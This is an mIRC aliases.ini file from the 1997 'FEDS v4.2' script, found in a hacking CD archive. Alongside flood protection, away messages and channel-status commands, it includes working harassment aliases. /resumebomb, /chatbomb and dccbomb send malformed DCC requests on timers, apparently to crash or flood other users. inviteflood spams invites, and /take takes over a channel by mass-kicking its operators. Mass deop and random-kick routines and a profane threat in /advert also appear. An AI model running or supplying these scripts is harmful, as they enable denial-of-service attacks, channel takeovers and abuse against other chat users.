home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / SCRIPTZ / FEDS42.ZIP / mirc32 / aliases.ini < prev    next >
INI File  |  1997-04-13  |  14KB  |  270 lines

  1. [aliases]
  2. n0=/advert /me 2is stalking u wit the best script in town 2FEDS v4.2 2for 2mIRC v5.0 by [-keif-] Get It Or I'll Kick ur Fucking Face In, Asshole.
  3. n1=/news /echo 6 $active This is version 4.2 of FEDS, ok we updated a few things since 4.0, fixed some flood protection bugz, added a few more user options and specialized kicks, also sorted the popups, to look nicer and easier to use, more updates coming soon, cya laterz, keif. [London, England ROCKS]
  4. n2=/f1 {
  5. n3=  if (%f1 == 1) { .enable #high | .disable #protect | .disable #Dcc | .disable #DCC1 | .disable #text | .enable #texthigh | echo 6 FEDS Flood Protection | echo 2 Only Use This Mode For being Heavily Flooded! | echo 2 CTCP Protection: High | echo 2 TEXT Protection: High | echo 2 DCC Protection: On | set %f1 2 | set %ctcpprotect High | set %textprotect High | set %dccprotect High | halt }
  6. n4=  if (%f1 == 2) { .disable #high | .enable #protect | .enable #Dcc | .disable #DCC1 | .enable #text | .disable #texthigh | echo 6 FEDS Flood Protection | echo 2 CTCP Protection: Normal | echo 2 TEXT Protection: Normal | echo 2 DCC Protection: On | set %f1 3 | set %ctcpprotect Normal | set %textprotect Normal | set %dccprotect Normal | halt }
  7. n5=  if (%f1 == 3) { .disable #high | .disable #protect | .disable #Dcc | .enable #DCC1 | .disable #text | .disable #texthigh | echo 6 FEDS Flood Protection | echo 2 CTCP Protection: Off | echo 2 TEXT Protection: Off | echo 2 DCC Protection: Off | set %f1 1 | set %ctcpprotect Off | set %textprotect Off | set %dccprotect Off | halt }
  8. n6=}
  9. n7=/f2 {
  10. n8=  if (%f2 == 1) { .enable #high | .disable #protect | echo 6 FEDS Flood Protection | echo 2 CTCP Protection: High | set %f2 2 | set %ctcpprotect High | halt }
  11. n9=  if (%f2 == 2) { .enable #protect | .disable #high | echo 6 FEDS Flood Protection | echo 2 CTCP Protection: Normal | set %f2 3 | set %ctcpprotect Normal | halt }
  12. n10=  if (%f2 == 3) { .disable #protect | .disable #high | echo 6 FEDS Flood Protection | echo 2 CTCP Protection: Off | set %f2 1 | set %ctcpprotect Off | halt }
  13. n11=}
  14. n12=/f3 {
  15. n13=  if (%f3 == 1) { .enable #texthigh | .disable #text | echo 6 FEDS Flood Protection | echo 2 Text Protect High | set %f3 2 | set %textprotect High | halt }
  16. n14=  if (%f3 == 2) { .disable #texthigh | .enable #text | echo 6 FEDS Flood Protection | echo 2 Text Protect Normal | set %f3 3 | set %textprotect Normal | halt }
  17. n15=  if (%f3 == 3) { .disable #texthigh | .disable #text | echo 6 FEDS Flood Protection | echo 2 Text Protect Off | set %f3 1 | set %textprotect Off | halt }
  18. n16=}
  19. n17=/f4 {
  20. n18=  if (%f4 == 1) { .disable #DCC | .enable #DCC1 | echo 6 FEDS Flood Protection | echo 2 DCC protection is Off | set %f4 2 | set %dccprotect Off | halt }
  21. n19=  if (%f4 == 2) { .enable #DCC | .disable #DCC1 | echo 6 FEDS Flood Protection | echo 2 DCC protection is On | set %f4 1 | set %dccprotect On | halt }
  22. n20=}
  23. n21=/f5 /rawkick ops
  24. n22=/f6 /rawkick nonops
  25. n23=/f7 /echo 6 $active Looking up %flooder .... | /echo 6 -s Listing flooders at %flooder .... | /set %total 0 | /.enable #flooder |  /who %flooder
  26. n24=/f12 /take
  27. n25=;#### Mass Stuff ####
  28. n26=/rawkick {
  29. n27=  .auser 100 $me
  30. n28=  unset %nicks
  31. n29=  set %i26 0
  32. n30=  if $1 == $null || $1 == all goto all
  33. n31=  if $1 == ops goto ops
  34. n32=  if $1 == nonops goto nonops
  35. n33=  :all
  36. n34=  inc %i26
  37. n35=  if $level($nick(%i26,#)) < 80 { %nicks = %nicks $+ , $+ $nick(%i26,#) }
  38. n36=  if %i26 >= $nick(0,#) goto end
  39. n37=  goto all
  40. n38=  :ops
  41. n39=  inc %i26
  42. n40=  if $level($opnick(%i26,#)) < 80 { %nicks = %nicks $+ , $+ $opnick(%i26,#) }
  43. n41=  if %i26 >= $opnick(0,#) goto end
  44. n42=  goto ops
  45. n43=  :nonops
  46. n44=  inc %i26
  47. n45=  if $level($nopnick(%i26,#)) < 80 { %nicks = %nicks $+ , $+ $nopnick(%i26,#) }
  48. n46=  if %i26 >= $nopnick(0,#) goto end
  49. n47=  goto nonops
  50. n48=  :end
  51. n49=  if %nicks == $null halt
  52. n50=  raw -q kick # %nicks :FEDS 2Raw Kick FEDS
  53. n51=  unset %nicks
  54. n52=}
  55. n53=omsg {
  56. n54=  /inc %opsmsg
  57. n55=  /.onotice # [# $+ %opsmsg $+ 2][ $+ $chan $+ 2-Ops Only] *1
  58. n56=  /echo -a 2FEDS --> Op-Msg Has Been Sent To # $+ .
  59. n57=}
  60. n58=nopmsg {
  61. n59=  set %n 0
  62. n60=  :start
  63. n61=  inc %n 1
  64. n62=  if ($nopnick(%n,#) = $me) { goto start }
  65. n63=  if ($nopnick(%n,#) = $null) { echo 4 -a 14[02Mass Message14] 14[3Complete!14] $ds | /halt } 
  66. n64=  msg $nopnick(%n,#) 14[6Non-Ops14] 14[3 $+ # $+ 14] 14[2 $+ *1 $+ 14] 
  67. n65=  goto start
  68. n66=}
  69. n67=massop {
  70. n68=  set %k 0
  71. n69=  :start
  72. n70=  inc %k 1
  73. n71=  if ($nopnick(%k,#) = $me) { goto start }
  74. n72=  if ($nopnick(%k,#) = $null) { echo 4 -a 14[2Mass 6Op14] Complete! $ds | /halt } 
  75. n73=  mode # +o $nopnick(%k,#) 
  76. n74=  goto start
  77. n75=}
  78. n76=massd {
  79. n77=  set %k 0
  80. n78=  :start
  81. n79=  inc %k 1
  82. n80=  if ($opnick(%k,#) = $me) { goto start }
  83. n81=  if ($opnick(%k,#) = $null) { echo 4 -a 14[2Mass 6Deop14] Complete! $ds | /halt } 
  84. n82=  mode # -o $opnick(%k,#) 
  85. n83=  goto start
  86. n84=}
  87. n85=colorchart {
  88. n86=  say The colors are: 0,1White[0] 1Black[1] 2Dk.Blue[2] 3Green[3] 4Red[4] 5Brown[5] 6Purple[6] 7Orange[7] 8Yellow[8] 9Lt.Green[9] 10Teal[10] 11Cyan[11] 12Royal[12] 13Lt.Purple[13] 14Dk.Grey[14] 15Lt.Grey[15]
  89. n87=}
  90. n88=/take  /mode $chan +i | /rawkick ops | /timer 1 3 /topic # FEDS -= This Channel Has Been Taken By The Federation =- FEDS
  91. n89=;### AWAY COMMANDS ###
  92. n90=/pfaway { if $1 == $null { ame is AWAY: [gone] - Recorder: [Off] - Pager: [Off] - CTCP $me PAGE [Message] }
  93. n91=  else { ame is AWAY: [[ $+  *1 $+ ] - Recorder: [Off] - Pager: [Off] - CTCP $me PAGE [Message] }
  94. n92=}
  95. n93=/fakeaway notice $1 - Away Since: [[ $+ %awayt $+ ]] - Msg: [gone] - Rec: [On] - Pager: [Off] FEDS
  96. n94=/naway {
  97. n95=  set %awaytime $ctime
  98. n96=  set %atime $time
  99. n97=  set %away Yes | /set %stime $time
  100. n98=  if $1 == $null { ame FEDS AWAY: [ $+ $strip($$?="Enter Reason:") $+ ] - Pager: [ $+ %pager $+ ] - CTCP  $+ $me PAGE Message FEDS | /away - Away Since: [ $+ %atime $+ ] - Msg: [ $+ $! $+ ] - Rec: [ $+ %recorder $+ ] - Pager: [ $+ %pager $+ ] }
  101. n99=  else { ame FEDS AWAY: [ $+ $strip(*1) $+ ] - Pager: [ $+ %pager $+ ] - CTCP  $+ $me PAGE Message - FEDS | /away - Away Since: [ $+ %atime $+ ] - Msg: [ $+ *1 $+ ] - Rec: [ $+ %recorder $+ ] - Pager: [ $+ %pager $+ ] }
  102. n100=  /setaway
  103. n101=}
  104. n102=/nback {
  105. n103=  set %away No
  106. n104=  .disable #recorder
  107. n105=  if $1 == $null { ame FEDS BACK: [ $+ $strip($$?="Enter Back Message:") $+ ] FEDS } | else ame FEDS BACK: [ $+ $strip(*1) $+ ] FEDS
  108. n106=  away
  109. n107=  /setaway
  110. n108=}
  111. n109=/saway {
  112. n110=  set %awaytime $ctime
  113. n111=  set %atime $time
  114. n112=  set %away Yes
  115. n113=  if %recorder == On /.enable #recorder | else /.disable #recorder
  116. n114=  if *1 == $null { away - Away Since: [ $+ %atime $+ ] - Msg: [ $+ $$?="Enter Reason:" $+ ] - Rec: [ $+ %recorder $+ ] - Pager: [ $+ %pager $+ ] }
  117. n115=  else { away - Away Since: [ $+ %atime $+ ] - Msg: [ $+ *1 $+ ] - Rec: [ $+ %recorder $+ ] - Pager: [ $+ %pager $+ ] }
  118. n116=  /setaway
  119. n117=}
  120. n118=/sback {
  121. n119=  set %away No
  122. n120=  away
  123. n121=}
  124. n122=/away {
  125. n123=  if (*1 != $null) { set %awayt $time | set %lagtime Lag - ? | .timer1212 off | set %awaytime $ctime | set %awaymsg *1 | away *1 }
  126. n124=  if (*1 == $null) {
  127. n125=    .timer1212 0 60 .ctcp $me ping
  128. n126=    %ttt = $ctime - %awaytime | %ttt = %ttt / 60 | %sss = 0
  129. n127=    :loop
  130. n128=    if (%ttt > 60) { %ttt = %ttt - 60 | inc %sss | if (%ttt > 60) goto loop } 
  131. n129=    away
  132. n130=    if %sss == 1 set %temp1 Hour | else set %temp1 Hours
  133. n131=    if %ttt == 1 set %temp2 Minute | else set %temp2 Minutes
  134. n132=    /action Time Away: [[ $+ %sss %temp1 - %ttt %temp2 $+ ]]
  135. n133=    unset %awaymsg
  136. n134=    halt
  137. n135=  }
  138. n136=  :end
  139. n137=  /setaway
  140. n138=}
  141. n139=/pager {
  142. n140=  if $1 == $null {
  143. n141=    echo 6 -a  [FEDS] Syntax: /pager <on/off> [FEDS]
  144. n142=  }
  145. n143=  if $1 == On { %Pager = On | echo6 -a Pager Set ON }
  146. n144=  if $1 == OFF { %Pager = Off | echo6 -a Pager Set OFF }
  147. n145=}
  148. n146=/echo6 echo 6 $1 [FEDS] *2 [FEDS]
  149. n147=/echo4 echo 4 $1 [FEDS] *2 [FEDS]
  150. n148=/echob4 echo 4 $1 [5FEDS4] *2 [5FEDS4]
  151. n149=/echo2 echo 2 $1 [12FEDS2] *2 [12FEDS2]
  152. n150=/lc { 
  153. n151=  .enable #listclones
  154. n152=  unset %hosts
  155. n153=  who #
  156. n154=  set %lcchan #
  157. n155=  set %lclastnick $nick($nick(0,#),#)
  158. n156=  echo6 # Listing Clones on %lcchan
  159. n157=}
  160. n158=/lcend {
  161. n159=  set %i4 0
  162. n160=  set %clone 0
  163. n161=  :start
  164. n162=  inc %i4
  165. n163=  if $count(%hosts, $address($nick(%i4,%lcchan),2)) > 1 { inc %clone | echo 2 %lcchan [Clone %clone $+ ]: $nick(%i4,%lcchan) $address($nick(%i4,%lcchan),2) }
  166. n164=  if $nick(%i4, %lcchan) == %lclastnick) goto end
  167. n165=  if %i4 == $nick(0, %lcchan) goto end
  168. n166=  goto start
  169. n167=  :end
  170. n168=  if %clone == 0 echo 2 %lcchan No Clones Found | else echo 2 %lcchan Clones Detected: %clone
  171. n169=  echo 6 %lcchan End of Clones  
  172. n170=  unset %hosts
  173. n171=}
  174. n172=/settings {
  175. n173=  echo6 -a Settings
  176. n174=  echo -a 2 Flood Protection: | echo -a 2 CTCP Flood Protection: %CTCPprot | echo -a 2 DCC Flood Protection: %DCCProt
  177. n175=  echo -a 2 Priv Msg Flood Protection: %PrivMsgProt | echo -a 2 Channel Flood Protection: %ChanProt | echo -a 2 Action Flood Protection: %Actionprot | echo -a 2 Invite Flood Protection: %InviteProt
  178. n176=  echo -a 2 Nick Flood Protection: %NickProt | echo -a 2 Join Flood Protection: %JoinProt | echo -a 2 Misc:
  179. n177=  echo -a 2 Kick On Ban: %KOB | echo -a 2 Repeat Kick: %RepeatKick | echo -a 2 Auto Op: %AutoOp
  180. n178=  echo -a 2 Bitch Mode: %BitchMode | echo -a 2 Server Op Protection: %ServerOpProt | echo -a 2 Mass DeOp Protection: %MassDeOpProt
  181. n179=  echo -a 2 User Shitter: %Shit | echo -a 2 User Protection: %UserProt | echo -a 2 Pager: %Pager
  182. n180=}
  183. n181=digit { set %x1 $1 | if %x1 < 10 { set %x1 0 $+ %x1 | return %x1 } | else return %x1 }
  184. n182=/cs {
  185. n183=  set %channel $1
  186. n184=  if $1 == $null { set %channel # }
  187. n185=  if $me ison %channel goto begin
  188. n186=  :begin
  189. n187=  echo 6 # Status for : %channel 
  190. n188=  echo 2 %channel Total Users: $digit($nick(0,#))
  191. n189=  echo 2 %channel Total Ops: $digit($opnick(0,#))
  192. n190=  echo 2 %channel Voice Users: $digit($vnick(0,#))
  193. n191=  echo 2 %channel Normal Users: $digit($nvnick(0,#))
  194. n192=  echo 6 %channel End of Status
  195. n193=  :end
  196. n194=}
  197. n195=/fullcs {
  198. n196=  if $1 == $null { set %cschannel # | goto active }
  199. n197=  if $me ison $1 goto begin | else { echo6 -a You are Not on $1 | goto end }
  200. n198=  :begin
  201. n199=  set %cschannel $1 
  202. n200=  set %lastnick $nick($nick(0,%cschannel),%cschannel)
  203. n201=  :active
  204. n202=  unset %hosts
  205. n203=  set %clones 0
  206. n204=  set %voice 0
  207. n205=  set %ircops 0
  208. n206=  set %aways 0
  209. n207=  .enable #fullcs
  210. n208=  echo 6 %cschannel Channel Status for: %cschannel : (if channel is large pls wait)
  211. n209=  who %cschannel
  212. n210=  :end
  213. n211=}
  214. n212=/fullcsend {
  215. n213=  set %i9 0
  216. n214=  :start
  217. n215=  inc %i9
  218. n216=  if $count(%hosts, $address($nick(%i9,%cschannel),2)) > 1 inc %clones
  219. n217=  if $nick(%i9, %cschannel) == %lastnick) goto cont
  220. n218=  goto start
  221. n219=  :cont
  222. n220=  %normalusers = $nopnick(0,%cschannel) - %voice
  223. n221=  echo 2 %cschannel Total Users: $digit($nick(0,%cschannel))
  224. n222=  echo 2 %cschannel Oped Users: $digit($opnick(0,%cschannel))
  225. n223=  echo 2 %cschannel Voice Users: $digit(%voice)
  226. n224=  echo 2 %cschannel Normal Users: $digit(%normalusers)
  227. n225=  echo 2 %cschannel IRC Op Users: $digit(%ircops)
  228. n226=  echo 2 %cschannel Away Users: $digit(%aways)
  229. n227=  echo 2 %cschannel Clones: $digit(%clones)
  230. n228=  echo 6 %cschannel End of Status
  231. n229=}
  232. n230=/fkick {
  233. n231=  unset %nicks
  234. n232=  unset %chan
  235. n233=  if $3 == $null { set %reason Federation } goto start
  236. n234=  if $1 == $null { echo6 -a Syntax: /fkick <channel> <wildcard> <reason> | goto end }
  237. n235=  :start
  238. n236=  .enable #filterkick
  239. n237=  set %wildkick $2
  240. n238=  set %reason  $+ *3 $+   
  241. n239=  set %chan $1
  242. n240=  raw -q who $1 $2
  243. n241=  set %fkick [FEDS] FilterKick: %reason %wildkick [FEDS]
  244. n242=  :end
  245. n243=}
  246. n244=/randomkick {
  247. n245=  set %channel #
  248. n246=  :start
  249. n247=  set %randomnick $nick($rand(1,$nick(0,%channel)),%channel)
  250. n248=  if %randomnick == $me { goto start }
  251. n249=  kick %channel %randomnick %randomkick
  252. n250=}
  253. n251=/resumebomb {
  254. n252=  .timer 10 2 raw -q privmsg $$1 :DCC RESUME torn.flesh 3353362454 19 99 $+ 
  255. n253=  .timer 10 2 raw -q privmsg $$1 :DCC RESUME kicks.ass 3353362454 19 99 $+ 
  256. n254=}
  257. n255=/chatbomb .timer 10 2 raw -q privmsg $1 :DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $r(1000,9999) $(10,99) $r(10,99)DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ 
  258. n256=inviteflood {
  259. n257=  .timer 10 2 ri $$1
  260. n258=  .timer 10 2 ri $$1
  261. n259=}
  262. n260=/setaway titlebar |FEDS| [Away - %away $+ ] [Pager - %pager $+ ] [Lag - %pt $+ ] - $+ $me $+ - $+ $server $+ - $+  $port $+ - |FEDS| by Keif.
  263. n261=/ri invite $$1 #$r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z)
  264. n262=dccbomb { 
  265. n263=  .timer 5 4 raw -q privmsg $1 :DCC SEND $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ tORnfLESh $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9)  3353362454 19 ? 
  266. n264=  .timer 5 4 raw -q privmsg $1 :DCC SEND %tsu $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) 
  267. n265=  .timer 5 4 raw -q privmsg $1 :DCC resume feds.rawact 666 19 ? 
  268. n266=  .timer 5 4 raw -q privmsg $1 :DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!r(1,9) $!+ $!r(1,9) $!+ DCC CHAT $!r(1,9) $!+ $!r(1,9) $!+ $!r(1,9)
  269. n267=}
  270.